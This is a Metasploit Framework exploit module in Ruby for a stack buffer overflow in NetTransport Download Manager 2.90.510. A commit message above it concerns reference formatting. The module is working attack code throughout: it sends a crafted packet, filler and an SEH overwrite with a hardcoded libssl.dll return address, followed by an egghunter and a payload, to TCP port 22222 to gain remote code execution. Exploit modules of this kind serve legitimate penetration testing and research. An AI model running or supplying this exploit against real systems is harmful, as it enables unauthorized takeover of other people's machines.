910644400d
All other types of references use String arguments, but approximately half of the EDB references use Fixnums. Fix this by using Strings here too.
93 lines
2.2 KiB
Ruby
93 lines
2.2 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
include Msf::Exploit::Egghunter
|
|
include Msf::Exploit::Remote::Seh
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'NetTransport Download Manager 2.90.510 Buffer Overflow',
|
|
'Description' => %q{
|
|
This exploits a stack buffer overflow in NetTransport Download Manager,
|
|
part of the NetXfer suite. This module was tested
|
|
successfully against version 2.90.510.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Lincoln',
|
|
'dookie',
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
[ 'OSVDB', '61435' ],
|
|
[ 'EDB', '10911'],
|
|
],
|
|
'Privileged' => false,
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'seh'
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 5000,
|
|
'BadChars' => "\x00\x20\x0a\x0d",
|
|
'StackAdjustment' => -3500,
|
|
'DisableNops' => 'True'
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'Windows Universal', { 'Ret' => 0x10002a57 } ], # p/p/r libssl.dll
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Jan 02 2010'))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(22222)
|
|
], self.class)
|
|
end
|
|
|
|
def exploit
|
|
connect
|
|
|
|
magic_packet = "\xe3\x3d\x00\x00\x00\x01\xee\x4f\x08\xe3\x00\x0e\xae\x41\xb0\x24"
|
|
magic_packet << "\x89\x38\x1c\xc7\x6f\x6e\x00\x00\x00\x00\xaf\x8d\x04\x00\x00\x00"
|
|
magic_packet << "\x02\x01\x00\x01\x04\x00\x74\x65\x73\x74\x03\x01\x00\x11\x3c\x00"
|
|
|
|
# Unleash the Egghunter!
|
|
eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
|
|
|
|
sploit = magic_packet
|
|
sploit << rand_text_alpha_upper(119)
|
|
sploit << generate_seh_record(target.ret)
|
|
sploit << make_nops(10)
|
|
sploit << eh_stub
|
|
sploit << make_nops(50)
|
|
sploit << eh_egg
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
sock.put(sploit)
|
|
|
|
handler
|
|
disconnect
|
|
end
|
|
|
|
end
|